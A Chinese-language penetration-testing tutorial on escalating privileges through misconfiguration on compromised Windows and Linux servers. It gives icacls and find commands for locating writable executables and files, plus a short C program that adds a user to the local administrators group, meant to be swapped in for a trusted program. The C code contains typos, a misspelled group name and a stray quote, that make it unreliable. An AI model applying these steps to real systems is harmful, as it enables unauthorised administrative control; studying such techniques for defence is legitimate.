与漏洞提权相比,利用配置不当提权更为常见。在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏洞进行入侵。因此,当入侵一台服务器后找不到漏洞,可利用配置不当进行提权。如:
- 可以查找系统中以system权限启动的服务或应用,可以尝试将其替换或者反弹shell的方式提权;
- 可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权;
- 代码中是否有过滤参数的操作等都可以加以利用,进行提取。
一、Windows系统下查找权限设置不当的程序(windows server 2003、Win 7以后的系统中包含的程序)
1、查询exe执行程序的NTFS权限
icacls C:\windows\*.exe /save perm /T #查找C盘windows目录下所有exe执行程序的NTFS权限
- /save:将查询结果保存为文本文件perm
- /T:当前目录以及子目录下所有满足条件的文件

输入命令dir,可以看到生成perm文件。

2. 在perm文件中查找含有字符串为FA;;;BU的exe执行程序,表示普通用户具有完全控制的权限,将其作为潜在的攻击目标。一般情况下,普通用户对操作系统中的文件都没有修改的权限。
- FA:完全控制的权限
- BU:built user,默认的普通用户,当它的权限为完全控制时,就是我们要找的程序A。在Windows系统中默认没有这种权限,只有当管理员配置不当,才会存在这种情况。
- PU:Power user

3、如果找到系统中某个应用程序A,普通用户a是对其具有完全控制权限,我们可以将先将A程序重命名为其他名字,然后将admin.exe重命名为A,这样当管理员下次执行A程序时,实际上执行的是admin.exe程序,即将普通用户a添加到本地管理员组。
操作过程:
在Kali上准备admin.c文件,将其编译成可执行程序,拷贝到Windows 2003上,执行admin.exe,把用户a添加到本地管理员组。
admin.c 文件内容:
#include <stdlib.h>
int main()
{
int i;
i=system("net localgroup administarators a /add");
return 0'
}
编译方法:
i586-mingw32msvc-gcc -o admin.exe admin.c
二、linux系统下查找权限设置不安全的程序
1. 查看/目录下文件权限为777的所有文件,并列出详细信息
- ls -l #查找当前目录下所有文件的权限
- find / -perm 777 -exec ls -l {} \; # -perm 777 — 查找所有权限为777的文件;-exec — 执行 ls -l ; ' \; ' — find命令以其结束


2、find / -writable -type f 2 > /dev/null | grep -v "/proc/"

三、提权
思路:若渗透进去的是应用程序,可查看应用系统的配置文件
- 通过应用连接数据库的配置文件,发现其连接的服务账号
- 后台服务运行账号,有可能root账号运行web服务
|